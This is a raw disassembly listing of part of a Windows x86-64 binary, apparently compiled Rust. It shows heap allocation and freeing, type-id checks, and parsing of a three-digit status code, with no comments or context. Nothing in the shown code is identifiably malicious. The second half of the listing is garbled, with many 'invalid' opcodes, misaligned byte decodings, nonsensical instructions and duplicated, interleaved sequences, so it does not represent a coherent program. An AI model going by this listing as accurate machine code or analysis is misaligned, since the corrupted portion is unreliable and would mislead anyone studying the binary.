movdqa xmm0, xmmword [rsp + 0x7d0]
movdqa xmm1, xmmword [rsp + 0x7e0]
movdqu xmmword [rcx + rdx*8 + 0x20], xmm0
movdqu xmmword [rcx + rdx*8 + 0x30], xmm1
mov r8, qword [rsp + 0x7f0]
mov qword [rcx + rdx*8 + 0x40], r8
inc rax
mov qword [rsp + 0x380], rax
mov qword [rsi], 1
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], r14
mov r15, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x98]
mov rax, qword [rsp + 0x140]
test rax, rax
je 0x1400813aa
mov rdx, qword [rsp + 0x148]
mov r8, qword [rsp + 0x150]
lea rcx, [rsp + 0x158]
call qword [rax + 0x10]
jmp 0x1400813aa
mov rsi, qword [rsp + 0x1a8]
mov rax, rsi
cmp rsi, qword [rsp + 0x198]
mov r13, qword [rsp + 0x410]
mov rbp, qword [rsp + 0x408]
jne 0x1400814d3
lea rcx, [rsp + 0x198]
call fcn.14003aaa0
mov rax, qword [rsp + 0x1a8]
mov rcx, qword [rsp + 0x1a0]
mov rdx, rax
shl rdx, 6
mov qword [rcx + rdx], 0
mov qword [rcx + rdx + 8], r15
mov qword [rcx + rdx + 0x10], 0
mov qword [rcx + rdx + 0x18], r15
movdqa xmm0, xmmword [rsp + 0x7d0]
movdqa xmm1, xmmword [rsp + 0x7e0]
movdqu xmmword [rcx + rdx + 0x20], xmm0
movdqu xmmword [rcx + rdx + 0x30], xmm1
inc rax
mov qword [rsp + 0x1a8], rax
mov qword [r14], 1
mov qword [r14 + 8], rsi
mov qword [r14 + 0x10], rsi
mov rbx, qword [rsp + 0x98]
jmp 0x140080cfb
movdqu xmm0, xmmword [rsp + rax + 0x7d0]
movdqa xmm1, xmm0
paddq xmm1, xmm10
pandn xmm0, xmm1
pshufd xmm1, xmm0, 0xee
por xmm1, xmm0
movq rdx, xmm1
movabs r8, 0x8080808080808080
test rdx, r8
jne 0x140081593
add rax, 0x10
cmp rax, rcx
jbe 0x140081550
jmp 0x140081593
inc rax
cmp r14, rax
je 0x14007f8a6
cmp byte [rsp + rax + 0x7d0], 0
jne 0x140081590
jmp 0x1400821af
mov r13, qword [rsp + 0x168]
cmp r13, 3
jne 0x140081627
cmp qword [rsp + 0x458], 0
je 0x1400817ff
movdqu xmm0, xmmword [rsp + 0x458]
movdqu xmm1, xmmword [rsp + 0x468]
movdqa xmmword [rsp + 0x6f0], xmm1
movdqa xmmword [rsp + 0x6e0], xmm0
movzx eax, byte [0x140182310]
mov edx, 0x20
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14008518b
mov r14, rax
movups xmm0, xmmword [0x14014c810]
movups xmmword [rax + 0x10], xmm0
movdqu xmm0, xmmword [0x14014c800]
movdqu xmmword [rax], xmm0
jmp 0x140081866
movzx eax, byte [0x140182310]
mov edx, 0x20
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14008518b
mov r14, rax
movups xmm0, xmmword [0x14014c810]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x14014c800]
movups xmmword [rax], xmm0
movzx eax, byte [0x140182310]
mov edx, 0x60
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400853a4
movups xmm0, xmmword [rsp + 0x1b8]
movups xmmword [rax + 0x50], xmm0
movups xmm0, xmmword [rsp + 0x1a8]
movups xmmword [rax + 0x40], xmm0
movdqu xmm0, xmmword [rsp + 0x168]
movdqu xmm1, xmmword [rsp + 0x178]
movups xmm2, xmmword [rsp + 0x188]
movups xmm3, xmmword [rsp + 0x198]
movups xmmword [rax + 0x30], xmm3
movups xmmword [rax + 0x20], xmm2
movdqu xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
lea rcx, fcn.14003a5c0
mov qword [rsp + 0x20], rcx
mov rcx, r14
movabs rdx, 0x395f5a8b89dfecb7
movabs r8, 0x3eeaa77a649feee9
mov r9, rax
call fcn.14003a420
test rax, rax
je 0x140081833
mov rbx, rax
mov r15, rdx
mov rcx, rax
call qword [rdx + 0x18]
movabs rcx, 0x395f5a8b89dfecb7
cmp rax, rcx
jne 0x140081809
movabs rax, 0x3eeaa77a649feee9
cmp rdx, rax
jne 0x140081809
movups xmm0, xmmword [rbx + 0x50]
movaps xmmword [rsp + 0x820], xmm0
movups xmm0, xmmword [rbx + 0x40]
movaps xmmword [rsp + 0x810], xmm0
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movups xmm2, xmmword [rbx + 0x20]
movups xmm3, xmmword [rbx + 0x30]
movaps xmmword [rsp + 0x800], xmm3
movaps xmmword [rsp + 0x7f0], xmm2
movaps xmmword [rsp + 0x7e0], xmm1
movaps xmmword [rsp + 0x7d0], xmm0
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm0, xmmword [rsp + 0x7d0]
movdqa xmm1, xmmword [rsp + 0x7e0]
movaps xmm2, xmmword [rsp + 0x7f0]
movaps xmm3, xmmword [rsp + 0x800]
movaps xmmword [rsp + 0x260], xmm0
movdqa xmmword [rsp + 0x270], xmm1
movaps xmmword [rsp + 0x280], xmm2
movaps xmmword [rsp + 0x290], xmm3
movaps xmm0, xmmword [rsp + 0x810]
movaps xmmword [rsp + 0x2a0], xmm0
movdqa xmm0, xmmword [rsp + 0x820]
movdqa xmmword [rsp + 0x2b0], xmm0
cmp qword [rsp + 0x260], 3
je 0x140081833
lea rcx, [rsp + 0x260]
call fcn.14003a5c0
jmp 0x140081833
mov bl, 1
xor r14d, r14d
jmp 0x1400819ab
mov rcx, rbx
call qword [r15]
cmp qword [r15 + 8], 0
je 0x140081833
cmp qword [r15 + 0x10], 0x11
jb 0x140081821
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x458], 0
je 0x1400819a4
movdqu xmm0, xmmword [rsp + 0x458]
movdqu xmm1, xmmword [rsp + 0x468]
movdqa xmmword [rsp + 0x6f0], xmm1
movdqa xmmword [rsp + 0x6e0], xmm0
movzx eax, byte [0x140182310]
mov edx, 0x20
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x14008518b
movdqa xmm0, xmmword [rsp + 0x6e0]
movdqa xmm1, xmmword [rsp + 0x6f0]
movdqu xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
lea rcx, [0x14012b7d8]
mov qword [rsp + 0x20], rcx
mov rcx, r14
movabs rdx, 0xcb0ddd394bd3d98f
movabs r8, 0xd04f40db1e867596
mov r9, rax
call fcn.14003a420
test rax, rax
je 0x1400819a0
mov rbx, rax
mov r15, rdx
mov rcx, rax
call qword [rdx + 0x18]
movabs rcx, 0xcb0ddd394bd3d98f
cmp rax, rcx
jne 0x140081976
movabs rax, 0xd04f40db1e867596
cmp rdx, rax
jne 0x140081976
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movaps xmmword [rsp + 0x7e0], xmm1
movaps xmmword [rsp + 0x7d0], xmm0
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
movdqa xmm0, xmmword [rsp + 0x7d0]
movdqa xmm1, xmmword [rsp + 0x7e0]
movdqa xmmword [rsp + 0x260], xmm0
movdqa xmmword [rsp + 0x270], xmm1
mov rax, qword [rsp + 0x260]
test rax, rax
je 0x1400819a0
mov rdx, qword [rsp + 0x268]
mov r8, qword [rsp + 0x270]
lea rcx, [rsp + 0x278]
call qword [rax + 0x10]
jmp 0x1400819a0
mov rcx, rbx
call qword [r15]
cmp qword [r15 + 8], 0
je 0x1400819a0
cmp qword [r15 + 0x10], 0x11
jb 0x14008198e
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
xor ebx, ebx
jmp 0x1400819a6
mov bl, 1
mov r15, qword [rsp + 0x30]
movups xmm0, xmmword [rsp + 0x390]
movaps xmmword [rsp + 0x820], xmm0
movups xmm0, xmmword [rsp + 0x380]
movaps xmmword [rsp + 0x810], xmm0
movdqu xmm0, xmmword [rsp + 0x340]
movdqu xmm1, xmmword [rsp + 0x350]
movups xmm2, xmmword [rsp + 0x360]
movups xmm3, xmmword [rsp + 0x370]
movaps xmmword [rsp + 0x800], xmm3
movaps xmmword [rsp + 0x7f0], xmm2
movdqa xmmword [rsp + 0x7e0], xmm1
movdqa xmmword [rsp + 0x7d0], xmm0
mov rax, qword [rsp + 0x420]
mov byte [rsp + 0x83a], al
mov rcx, qword [rsp + 0x418]
mov word [rsp + 0x838], cx
mov qword [rsp + 0x830], r14
mov rax, qword [rsp + 0x5e0]
movzx eax, byte [rax]
movzx ecx, cx
cmp ecx, 0x64
jg 0x140081a55
lea r14, [rsp + 0x1450]
je 0x140081a93
jmp 0x140081a7e
cmp ecx, 0x65
lea r14, [rsp + 0x1450]
je 0x1400822fc
cmp ecx, 0xcc
je 0x140082306
cmp ecx, 0x130
je 0x140082306
mov rcx, qword [rsp + 0x418]
add ecx, 0xffffff9a
cmp cx, 0x61
ja 0x1400822d7
mov rbp, qword [rdi + 0x160]
test rbp, rbp
je 0x140082275
mov rcx, r12
call fcn.140036d60
mov rcx, qword [rsp + 0x830]
call fcn.140003040
cmp r13d, 3
jne 0x140081ad8
mov rax, qword [rsp + 0x168]
cmp eax, 3
je 0x140081ad8
lea rcx, [rsp + 0x168]
call fcn.14003a5c0
mov rax, qword [rsp + 0x1e0]
mov rdx, qword [rsp + 0x1e8]
mov r8, qword [rsp + 0x1f0]
lea rcx, [rsp + 0x1f8]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x458]
test rax, rax
setne cl
test bl, cl
mov r13, qword [rsp + 0x58]
je 0x14007ef36
mov rdx, qword [rsp + 0x460]
mov r8, qword [rsp + 0x468]
lea rcx, [rsp + 0x470]
call qword [rax + 0x10]
jmp 0x14007ef36
xor r10d, r10d
add rax, r10
sub r14, r10
test r14, r14
je 0x140081f70
movzx esi, byte [rax]
add sil, 0xd0
cmp sil, 9
ja 0x140082298
cmp r14, 1
je 0x140081f70
movzx r15d, byte [rax + 1]
lea ecx, [r15 - 0x30]
cmp cl, 9
ja 0x140082298
cmp r14, 3
jb 0x140081f70
movzx r12d, byte [rax + 2]
add r12b, 0xd0
cmp r12b, 0xa
jae 0x140082298
cmp r14, 3
je 0x140081f70
movzx ecx, byte [rax + 3]
cmp ecx, 0xa
je 0x140081c2a
cmp ecx, 0xd
je 0x140081c0c
cmp ecx, 0x20
jne 0x140082298
test dl, dl
je 0x140081dbe
cmp r14, 5
jb 0x140081f70
mov edx, 4
cmp byte [rax + 4], 0x20
jne 0x140081bff
mov ecx, 5
sub rcx, r14
mov r8d, 4
lea rdx, [rcx + r8]
cmp rdx, 4
je 0x140081f70
lea rdx, [r8 + 1]
cmp byte [rax + r8 + 1], 0x20
mov r8, rdx
je 0x140081be2
add rax, rdx
sub r14, rdx
xor ecx, ecx
jmp 0x140081dc3
cmp r14, 4
jbe 0x140081f70
cmp byte [rax + 4], 0xa
jne 0x140082298
add rax, 5
add r14, 0xfffffffffffffffb
jmp 0x140081c32
add rax, 4
add r14, 0xfffffffffffffffc
mov qword [rsp + 0x350], 0
mov qword [rsp + 0x340], rax
mov qword [rsp + 0x348], r14
mov eax, 1
mov qword [rsp + 0x98], rax
xor eax, eax
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x260]
lea rdx, [rsp + 0x70]
lea r8, [rsp + 0x340]
lea r9, [rsp + 0x600]
call fcn.140033bb0
mov rax, qword [rsp + 0x260]
cmp rax, 2
jne 0x140081c9f
movzx eax, byte [rsp + 0x268]
jmp 0x140081e0c
test rax, rax
jne 0x140081f70
movzx eax, sil
imul eax, eax, 0x64
movzx ecx, r15b
add ecx, ecx
lea ecx, [rcx + rcx*4]
add cl, 0x20
movzx edx, cl
add edx, eax
movzx ecx, r12b
add ecx, edx
lea eax, [rcx - 0x3e8]
movzx eax, ax
mov esi, 4
cmp eax, 0xfc7c
jb 0x14008229d
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0xa8], rax
mov r12, qword [rsp + 0x70]
mov r13, qword [rsp + 0x78]
mov qword [rsp + 0x418], rcx
call fcn.140031ed0
test rax, rax
mov r15, qword [rsp + 0x30]
mov r8, qword [rsp + 0x40]
je 0x140081d3c
cmp r8, rdx
jne 0x140081d3c
mov rcx, qword [rsp + 0x98]
mov rdx, rax
mov r8, qword [rsp + 0x40]
call fcn.140106bb0
mov r8, qword [rsp + 0x40]
test eax, eax
je 0x140081eaa
test r8, r8
je 0x140081e26
js 0x14008551a
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, r8
mov qword [rsp + 0x40], r8
call fcn.1400df910
test rax, rax
je 0x1400855b3
mov r15, rax
mov rcx, rax
mov rdx, qword [rsp + 0x98]
mov r8, qword [rsp + 0x40]
call fcn.140106530
test r15b, 1
jne 0x140081e7d
mov rax, r15
or rax, 1
mov qword [rsp + 0x268], r15
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x270], rcx
mov qword [rsp + 0x278], rax
xor ecx, ecx
lea rax, [0x14012a090]
jmp 0x140081ea3
mov ecx, 4
add rax, rcx
sub r14, rcx
mov qword [rsp + 0x350], 0
mov qword [rsp + 0x340], rax
mov qword [rsp + 0x348], r14
lea rcx, [rsp + 0x260]
lea rdx, [rsp + 0x340]
call fcn.1400346e0
cmp byte [rsp + 0x260], 0
je 0x140081e4a
movzx eax, byte [rsp + 0x261]
cmp al, 6
mov rbp, qword [rsp + 0x60]
lea r14, [rsp + 0x1450]
je 0x14007f10b
jmp 0x140082506
mov qword [rsp + 0x268], 1
lea rax, [rsp + 0x268]
movups xmmword [rax + 8], xmm8
xor ecx, ecx
lea rax, [0x140114ae8]
jmp 0x140081eae
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0x98], rax
test rax, rax
je 0x140081f70
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0x40], rax
mov r14, qword [rsp + 0x348]
jmp 0x140081c62
mov qword [rsp + 0x268], r15
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x270], rax
mov qword [rsp + 0x278], r15
xor ecx, ecx
lea rax, [0x14012a0a8]
mov r15, qword [rsp + 0x30]
jmp 0x140081eae
mov cl, 1
xor eax, eax
mov qword [rsp + 0x260], rax
cmp r13, 0x64
mov edx, 0x64
cmovb rdx, r13
test r13, r13
je 0x140081f29
shl rdx, 5
xor r8d, r8d
mov r9, qword [r12 + r8 + 8]
cmp r9, 0xffff
ja 0x1400822a8
mov r10, qword [r12 + r8]
mov r11, qword [r12 + r8 + 0x10]
sub r10, rbx
add r9, r10
sub r11, rbx
mov r15, qword [r12 + r8 + 0x18]
add r15, r11
mov qword [rsp + r8 + 0x1450], r10
mov qword [rsp + r8 + 0x1458], r9
mov qword [rsp + r8 + 0x1460], r11
mov qword [rsp + r8 + 0x1468], r15
mov r15, qword [rsp + 0x30]
add r8, 0x20
cmp rdx, r8
jne 0x140081ecf
sub rbp, r14
add rbp, qword [rsp + 0xa8]
lea rdx, [rsp + 0x268]
mov rcx, qword [rdx + 0x10]
mov qword [rsp + 0x4c0], rcx
movups xmm0, xmmword [rdx]
movaps xmmword [rsp + 0x4b0], xmm0
lea r14, [rsp + 0x1450]
mov r12, qword [rsp + 0x420]
jmp 0x14007f131
mov esi, 3
jmp 0x140081f9c
mov esi, 3
mov rbp, qword [rsp + 0x60]
jmp 0x14008207a
mov esi, 4
mov dword [rsp + 0x2c], 0
mov r15, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x60]
lea r14, [rsp + 0x1450]
lea r12, [rsp + 0x7d0]
mov rdx, qword [rsp + 0x238]
cmp rdx, 2
je 0x140082070
mov rcx, qword [rsp + 0x240]
mov rax, qword [rsp + 0x248]
test rdx, rdx
je 0x140081fef
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
lea rdx, [rsp + 0x250]
call qword [rax + 0x68]
mov r8, qword [rsp + 0x238]
cmp r8, 2
je 0x140082070
mov rdx, qword [rsp + 0x250]
mov rcx, qword [rsp + 0x240]
mov rax, qword [rsp + 0x248]
test r8, r8
je 0x140082062
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x240]
lock dec qword [rax]
jne 0x140082070
mov rcx, qword [rsp + 0x240]
mov rdx, qword [rsp + 0x248]
call fcn.140004950
jmp 0x140082070
call qword [rax + 0x80]
nop dword [rax + rax]
cmp rsi, 4
je 0x140082b45
mov rax, qword [rsp + 0x620]
mov qword [rsp + 0x770], rax
movaps xmm0, xmmword [rsp + 0x610]
movaps xmmword [rsp + 0x760], xmm0
movaps xmm0, xmmword [rsp + 0x6d0]
movaps xmmword [rsp + 0x7b0], xmm0
movdqa xmm0, xmmword [rsp + 0x480]
movdqa xmm1, xmmword [rsp + 0x490]
movdqa xmmword [rsp + 0x100], xmm0
movdqa xmmword [rsp + 0x110], xmm1
movzx eax, word [rsp + 0x4a0]
mov word [rsp + 0x120], ax
mov eax, dword [rsp + 0xd8]
mov dword [rsp + 0x1d8], eax
movzx eax, byte [rsp + 0xdc]
mov byte [rsp + 0x1dc], al
cmp rsi, 3
jne 0x1400828e1
xor eax, eax
cmp byte [rdi + 0x128], 0
sete al
mov rcx, qword [rdi + 0x160]
cmp rcx, qword [rdi + rax*8 + 0x130]
jae 0x1400829e7
mov rcx, qword [rsp + 0xc0]
mov rdx, r13
call case.0x14002a2ab.1640
test rax, rax
jne 0x14008287a
test rdx, rdx
jne 0x14007eec0
jmp 0x140082a2f
mov r8, qword [rsp + 0x88]
test r8b, 1
jne 0x14008218a
lock dec qword [r8 + 0x20]
jne 0x1400821af
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
je 0x1400821a0
mov rax, qword [r8 + 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov rsi, r8
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, rsi
jmp 0x1400821a0
shr r8, 5
neg r8
cmp qword [rsp + 0x80], r8
je 0x1400821af
add r8, qword [rsp + 0x70]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov esi, 4
mov al, 0xb
mov dword [rsp + 0x2c], eax
xor ebp, ebp
xor eax, eax
xor ebx, ebx
mov r15, qword [rsp + 0x30]
lea r14, [rsp + 0x1450]
test al, al
mov r13, qword [rsp + 0x58]
jne 0x1400821f0
mov rax, qword [rsp + 0x168]
cmp eax, 3
je 0x1400821f0
test bpl, bpl
jne 0x140082202
lea rcx, [rsp + 0x340]
call fcn.140036d60
mov rax, qword [rsp + 0x1e0]
mov rdx, qword [rsp + 0x1e8]
mov r8, qword [rsp + 0x1f0]
lea rcx, [rsp + 0x1f8]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x458]
test rax, rax
sete cl
or bl, cl
mov rbp, qword [rsp + 0x60]
jne 0x140081fb6
mov rdx, qword [rsp + 0x460]
mov r8, qword [rsp + 0x468]
lea rcx, [rsp + 0x470]
call qword [rax + 0x10]
jmp 0x140081fb6
mov esi, 4
mov al, 4
mov dword [rsp + 0x2c], eax
mov r15, qword [rsp + 0x30]
jmp 0x140081fae
mov esi, 3
mov rcx, r12
call fcn.140036d60
mov rcx, qword [rsp + 0x830]
call fcn.140003040
mov edx, dword [rsp + 0x2c]
jmp 0x1400824e3
mov esi, 4
mov al, 0xa
mov dword [rsp + 0x2c], eax
jmp 0x140081f9c
test cl, cl
jne 0x1400822c7
mov rdx, qword [rsp + 0x268]
mov r8, qword [rsp + 0x270]
lea rcx, [rsp + 0x278]
call qword [rax + 0x10]
mov al, 9
mov dword [rsp + 0x2c], eax
mov r13, qword [rsp + 0x58]
jmp 0x140081fa1
cmp eax, 5
je 0x140082306
cmp eax, 7
jne case.0x140070bc3.36
mov rax, qword [rsp + 0x418]
add eax, 0xffffff38
cmp ax, 0x64
jae case.0x140070bc3.36
mov al, 1
mov dword [rsp + 0x4c], eax
xor edx, edx
jmp 0x140082310
xor edx, edx
mov dword [rsp + 0x4c], 0
mov qword [rsp + 0x5c8], rdx
test byte [rsp + 0xa4], 1
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rcx], al
jne 0x140082406
mov rsi, qword [rsp + 0x7d0]
movzx edx, byte [rsp + 0x7d8]
xchg esp, eax
and al, 0xd8
invalid
add byte [rax], al
movzx eax, byte [rsp + 0x7df]
shl eax, 0x10
movzx ecx, word [rsp + 0x7dd]
and al, 0xdd
invalid
add byte [rax], al
or ecx, eax
shl rcx, 0x20
mov eax, dword [rsp + 0x7d9]
xchg esp, eax
and al, 0xd8
invalid
and al, 0xdd
invalid
invalid
add byte [rax], al
or rax, rcx
mov qword [rsp + 0x5c0], rax
lea rcx, [rsp + 0x808]
mov rax, qword [rcx - 0x18]
mov qword [rsp + 0x620], rax
movups xmm0, xmmword [rcx - 0x28]
movaps xmmword [rsp + 0x610], xmm0
mov rax, qword [rsp + 0x7f8]
mov qword [rsp + 0x5b8], rax
movups xmm0, xmmword [rcx - 8]
movaps xmmword [rsp + 0x6d0], xmm0
mov rax, qword [rsp + 0x810]
invalid
add byte [rax - 0x77], cl
test byte [rax + rsi*4], ah
add eax, 0xb70f0000
add byte [rdi], cl
mov bh, 0x41
xor byte [rsi - 0x77], ah
mov qword [rsp + 0x5b0], rax
movzx eax, word [rcx + 0x30]
mov word [rsp + 0x4a0], ax
add byte [rdi], cl
mov bh, 0x41
xor byte [rsi - 0x77], ah
test byte [rax + riz*4], ah
add al, 0
add bl, dh
movdqu xmm0, xmmword [rcx + 0x10]
movdqu xmm0, xmmword [rcx + 0x10]
adc r11b, sil
movq mm1, qword [rcx + 0x20]
outsd dx, dword [rsi]
invalid
invalid
movdqu xmm1, xmmword [rcx + 0x20]
outsd dx, dword [rsi]
and byte [r14 + 0xf], spl
jg 0x140082353
movdqa xmmword [rsp + 0x490], xmm1
movdqa xmmword [rsp + 0x480], xmm0
movq qword [rsp + 0x480], mm0
and al, 0x90
add al, 0
add byte [rsi + 0xf], ah
invalid
jg 0x140082354
movq qword [rsp + 0x480], mm0
and al, 0x80
add al, 0
add byte [rdi], cl
mov dh, 0x84
and al, 0x3a
or byte [rax], al
add byte [rax - 0x74c0dbbc], cl
xor ecx, dword [r9 + 0xd82484]
add byte [rax], al
movzx eax, byte [rsp + 0x83a]
mov byte [rsp + 0x3f], al
mov eax, dword [rcx + 0x33]
mov dword [rsp + 0xd8], eax
movzx eax, byte [rcx + 0x37]
mov byte [rsp + 0xdc], al
mov dword [rsp + 0xd4], 0
jmp 0x1400824e3
add byte [rax], al
add byte [rax], al
mov eax, dword [rsp + 0x4c]
xor al, 1
mov dword [rsp + 0xd4], eax
mov rsi, qword [rsp + 0x7d0]
movzx edx, byte [rsp + 0x7d8]
movzx eax, byte [rsp + 0x7df]
mov dh, 0x84
and al, 0xdf
invalid
add byte [rax], al
shl eax, 0x10
adc byte [rdi], cl
mov bh, 0x8c
and al, 0xdd
invalid
add byte [rax], al
mov dh, 0x84
and al, 0xdf
invalid
adc byte [rdi], cl
mov bh, 0x8c
and al, 0xdd
invalid
add byte [rax], al
or ecx, eax
shl rcx, 0x20
mov eax, dword [rsp + 0x7d9]
or rax, rcx
enter 0xffffffffffff8948, 0xffffffffffffff84
and al, 0xc0
invalid
add byte [rax], al
enter 0xffffffffffff8948, 0xffffffffffffff84
and al, 0xc0
add eax, 0x8d480000
add byte [rax], al
lea rcx, [rsp + 0x808]
mov rax, qword [rcx - 0x18]
mov qword [rsp + 0x620], rax
add byte [rax], al
lea rcx, [rsp + 0x808]
add byte [rax], al
mov rax, qword [rcx - 0x18]
mov qword [rsp + 0x620], rax
movups xmm0, xmmword [rcx - 0x28]
movaps xmmword [rsp + 0x610], xmm0
fmul dword [r15]
sub dword [rsp + 0x610], eax
mov rax, qword [rsp + 0x7f8]
mov qword [rsp + 0x5b8], rax
movups xmm0, xmmword [rcx - 8]
movaps xmmword [rsp + 0x6d0], xmm0
mov rax, qword [rsp + 0x810]
and al, 0x10
or byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rsi*4], ah
add eax, 0xb70f0000
xor byte [r14 - 0x77], spl
test byte [rax + riz*4], ah
add al, 0
add byte [rax], al
and al, 0x10
or byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rsi*4], ah
add eax, 0xb70f0000
xor byte [r14 - 0x77], spl
test byte [rax + riz*4], ah
add al, 0
add byte [rax], al
movdqu xmm0, xmmword [rcx + 0x10]
add byte [rax], al
movdqu xmm0, xmmword [rcx + 0x10]
movdqu xmm1, xmmword [rcx + 0x20]
movdqa xmmword [rsp + 0x490], xmm1
movdqa xmmword [rsp + 0x480], xmm0
movzx eax, byte [rsp + 0x83a]
test byte [rdx + rdi], ah
or byte [rax], al
add byte [rax - 0x74c0dbbc], cl
xor ecx, dword [r9 + 0xd82484]
add byte [rax], al
test byte [rdx + rdi], ah
or byte [rax], al
add byte [rax - 0x74c0dbbc], cl
xor ecx, dword [r9 + 0xd82484]
add byte [rax], al
movzx eax, byte [rcx + 0x37]
mov byte [rsp + 0xdc], al
test byte [rsp + rbx*8], ah
add byte [rax], al
invalid
test byte [rsp + rbx*8], ah
add byte [rax], al
add byte [rcx + 0x412c2454], cl
push rsp
and al, 0x2c
invalid
mov dword [rsp + 0x2c], edx
push rsp
and al, 0x2c
cmp r13d, 3
cmp ebp, 3
setne al
xor bl, 1
mov bpl, 1
rol byte [rax - 0x4abffe0d], 1
test al, al
mov r13, qword [rsp + 0x58]
je 0x1400821d6
test ch, dl
cld
invalid
invalid
test ch, dl
cld
invalid
jmp 0x1400821f0
movzx eax, al
mov esi, 4
mov eax, eax
lea rcx, [0x140178650]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
invalid
jmp rax
enter 0xffffffffffffe0ff, 0xffffffffffffffc7
and al, 0x2c
mov dword [rsp + 0x2c], 0
add byte [rax], al
add byte [rax], al
jmp 0x14008226b
movups xmm13, xmmword [0x14012c6d0]
movaps xmmword [rsp + 0x270], xmm13
movups xmm14, xmmword [0x14012c6c0]
add byte [rdi + rcx + 0x29], al
lodsb al, byte [rsi]
and al, 0x70
add al, byte [rax]
add byte [rdi + rcx + 0x10], al
xor eax, 0xaa17a
movaps xmmword [rsp + 0x260], xmm14
add byte [rax], al
mov rcx, r12
lea rdx, [rsp + 0x260]
xchg esp, eax
and al, 0x60
add al, byte [rax]
add al, ch
loope 0x14008258b
cli
invalid
test al, al
je 0x14008257d
xchg esp, eax
and al, 0x60
add al, byte [rax]
add al, ch
loope 0x14008258b
cli
inc dword [rax + rax*8 - 0x437fe58c]
and al, 0x3a
or byte [rax], al
add byte [rcx], al
cmp byte [rsp + 0x83a], 1
jne 0x1400825b7
mov esi, 4
mov al, 2
mov dword [rsp + 0x2c], eax
add byte [rax + 0x24448902], dh
sub al, 0xe9
invalid
std
cld
invalid
jmp 0x14008227a
mov rcx, r12
call fcn.140037a60
cmp rax, 1
jne 0x140082649
add byte [rax], al
invalid
mov edx, 0x48000000
cmp edx, 0xfffffffe
add byte [rax], al
add byte [rax - 0x7d], cl
cli
dec byte [rdi]
invalid
cmp rdx, 0xfffffffffffffffe
jb 0x140082308
mov esi, 4
mov al, 9
mov dword [rsp + 0x2c], eax
jmp 0x14008227a
mov al, 9
jmp 0x140082267
mov al, 0xa
jmp 0x140082267
movaps xmmword [rsp + 0x270], xmm13
movaps xmmword [rsp + 0x260], xmm14
lea rcx, [rsp + 0x4b0]
mov rdx, r12
lea r8, [rsp + 0x260]
call fcn.140037e00
mov rax, qword [rsp + 0x4c0]
cmp qword [rsp + 0x4b0], 0
je 0x140082699
movups xmm0, xmmword [0x140143bc0]
movaps xmmword [rsp + 0x270], xmm0
movdqu xmm0, xmmword [0x140143bb0]
movdqa xmmword [rsp + 0x260], xmm0
mov rcx, r12
lea rdx, [rsp + 0x260]
call fcn.140025440
test al, al
je 0x14008268d
mov rcx, r14
mov rdx, rdi
mov r8, r13
call fcn.140090d30
mov rax, qword [rsp + 0x1450]
test rax, rax
je 0x14007ee55
cmp eax, 1
jne 0x140083233
cmp qword [rsp + 0x1458], 0
je 0x14008277b
mov rcx, r12
lea rdx, [rsp + 0x210]
lea r8, [rsp + 0x1458]
call case.0x1400d62e6.1005
cmp byte [rsp + 0x7f0], 2
jne 0x140082803
cmp byte [rdi + 0x1d0], 3
je 0x14008274d
mov rcx, r15
call fcn.140085650
mov rax, qword [rsp + 0x220]
mov qword [r15 + 0x20], rax
movdqa xmm0, xmmword [rsp + 0x200]
movdqa xmm1, xmmword [rsp + 0x210]
movdqu xmmword [r15 + 0x10], xmm1
movdqu xmmword [r15], xmm0
jmp 0x14007ec8d
mov rsi, qword [rsp + 0x1460]
movzx eax, byte [0x140182310]
mov edx, 0x38
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140084e64
mov rbx, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 8
movzx eax, byte [0x140182310]
mov edx, 8
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140084fba
mov qword [rax], rsi
mov qword [rbx], rax
lea rax, [0x14013dd20]
mov qword [rbx + 8], rax
mov rcx, qword [rsp + 0x210]
movzx edx, byte [rsp + 0x220]
mov r8, rbx
call fcn.140036b20
lea rsi, [rsp + 0x200]
jmp 0x14007ee55
mov rax, qword [rsp + 0x7d0]
mov rdx, qword [rsp + 0x7d8]
